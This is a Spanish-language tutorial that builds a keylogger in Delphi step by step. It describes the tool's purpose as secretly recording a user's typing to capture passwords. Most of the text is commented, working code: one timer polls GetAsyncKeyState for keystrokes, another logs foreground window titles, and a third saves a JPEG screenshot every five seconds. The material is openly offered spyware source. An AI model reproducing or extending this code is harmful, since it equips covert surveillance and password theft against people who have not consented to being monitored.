Creacion de un Keylogger

Anuncio
[Titulo] : Creacion de un Keylogger
[Lenguaje] : Delphi
[Autor] : Doddy Hackman
[Temario]
-- =================-------0x01 : Introduccion
0x02 : Capturar teclas
0x03 : Capturar ventanas
0x04 : Capturar pantalla
0x05 : Testeando
-- =================--------
0x01 : Introduccion
Bueno , voy a empezar esta manual sobre como hacer un keylogger en delphi , yo estoy usando la
version 2010 de delphi.
Un keylogger es un programa que graba de forma oculta las teclas que escribe el usuario , en otras
palabras , se usa para capturar contraseñas.
En esta manual veremos como capturar teclas , ventanas y hacer capturas de pantalla en delphi.
0x02 : Capturar teclas
Para comenzar creemos un proyecto normal en delphi de la siguiente manera : File->New->VCL
Forms Application , como en la siguiente imagen.
Una vez hecho agregamos un memo y tres timers al formulario como en la imagen :
Una vez hecho esto hacemos doble click en el primer timer y agregamos este codigo al mismo.
procedure TForm1.Timer1Timer(Sender: TObject);
var
i: integer; // Declaramos la variable i como entero
re: Longint; // Declaramos la variable re como longint
mayus: integer; // Declaramos la variable mayus como entero
begin
if (GetKeyState(20) = 0) then // Si se presiona mayus
begin
mayus := 32; // Le ponemos el valor de 32 a la variable mayus
end
else
begin
mayus := 0; // Le ponemos el valor de 0 la variable mayus
end;
for i := 65 to 90 do // Un for para detectar las teclas de la A hasta
la Z
begin
re := GetAsyncKeyState(i); // Usamos la variable re para detectar
si la tecla fue usada
If re = -32767 then // Contolamos que la variable re sea igual a
-32767
Begin
Memo1.Text := Memo1.Text + Chr(i + mayus); // Escribimos en el memo
usando chr en la suma de la letra
// Mas la variabe mayus
End;
end;
end;
Una imagen con todo el codigo comentado :
Con esto ya tenemos para capturar las teclas.
0x03 : Capturar ventanas
Aca es donde se me complico un poco , para empezar tenemos que agregar en "private" que se
encuentra al inicio del codigo lo siguiente :
private Nombre2: string;
Con este declaramos el nombre de la ventana que es nombre2 como privado.
Ahora tenemos que hacer doble click al segundo timer y poner el siguiente codigo :
procedure TForm1.Timer2Timer(Sender: TObject);
var
ventana1: array [0 .. 255] of char; // Declaramos ventana1 como array
of char
nombre1: string; // Declaramos nombre1 como string
// Add :
// private
// Nombre2: string;
begin
GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
// Capturamos el nombre de la
// ventana
nombre1 := ventana1; // nombre1 tendra el valor de ventana1
if not(nombre1 = nombre2) then // Si nombre1 no es nombre2 ........
begin
nombre2 := nombre1; // nombre2 tendra el valor de nombre1
Memo1.Lines.Add(nombre2); // agregamos al memo el valor de
nombre2
end;
end;
Una imagen con el codigo comentado :
Eso seria la parte de capturar ventanas.
0x04 : Capturar pantalla
Ahora vamos a la parte mas facil , voy a usar como ejemplo un codigo que hice para un programa
llamado "DH ScreenShoter" que hice en este mismo lenguaje.
Lo primero que hay que hacer es agregar Jpeg en "uses" al inicio del codigo.
Ahora hacemos doble click en el tercer timer y agregamos este codigo :
procedure TForm1.Timer3Timer(Sender: TObject);
var
foto1: TBitmap; // Declaramos foto1 como TBitmap;
foto2: TJpegImage; // Declaramos foto2 como TJpegImage
ventana: HDC; // Declaramos aca como HDC
begin
// Agregar "Jpeg" a "uses"
ventana := GetWindowDC(GetDesktopWindow); // Capturamos ventana
actual en aca
foto1 := TBitmap.Create; // Iniciamos foto1 como TBitmap
foto1.PixelFormat := pf24bit; // Establecemos el pixel format
foto1.Height := Screen.Height; // Capturamos el tamaño
foto1.Width := Screen.Width; // Capturamos el tamaño
BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana,
0, 0,
SRCCOPY); // Tomamos la foto con los datos antes usados
foto2 := TJpegImage.Create; // Iniciamos foto2 como TJpegImage
foto2.Assign(foto1); // Asignamos foto1 en foto2
foto2.CompressionQuality := 60; // Establecemos la calidad de la
imagen
foto2.SaveToFile(IntToStr(Random(100)) + '.jpg');
// Guardamos la foto tomada
// con un valor numerico
// aleatorio mas el formato
// '.jpg'
end;
Una imagen con el codigo comentado :
Despues de esto tenemos que configurar el "interval" del timer3 a "5000" , que en realidad es para
que el timer funcione cada 5 segundos.
Con esto ya terminamos la parte de capturar las imagenes.
Ahora vamos a probar todo.
0x05 : Testeando
Una vez terminado todo establecemos los tres timers en true en la parte "Enabled" de la
configuracion de los timers.
Bien ahora voy a mostrarles una imagen de ejemplo :
Como pueden ver en la imagen , el keylogger detecto la ventana actual que es "Form1" (el
programa mismo) y tambien detecta bien las minusculas y mayusculas cuando escribi "HolaMundo"
Tambien cada 5 segundos sacaba una foto como esta :
Eso seria todo.
--========-The End ?
--========--
Descargar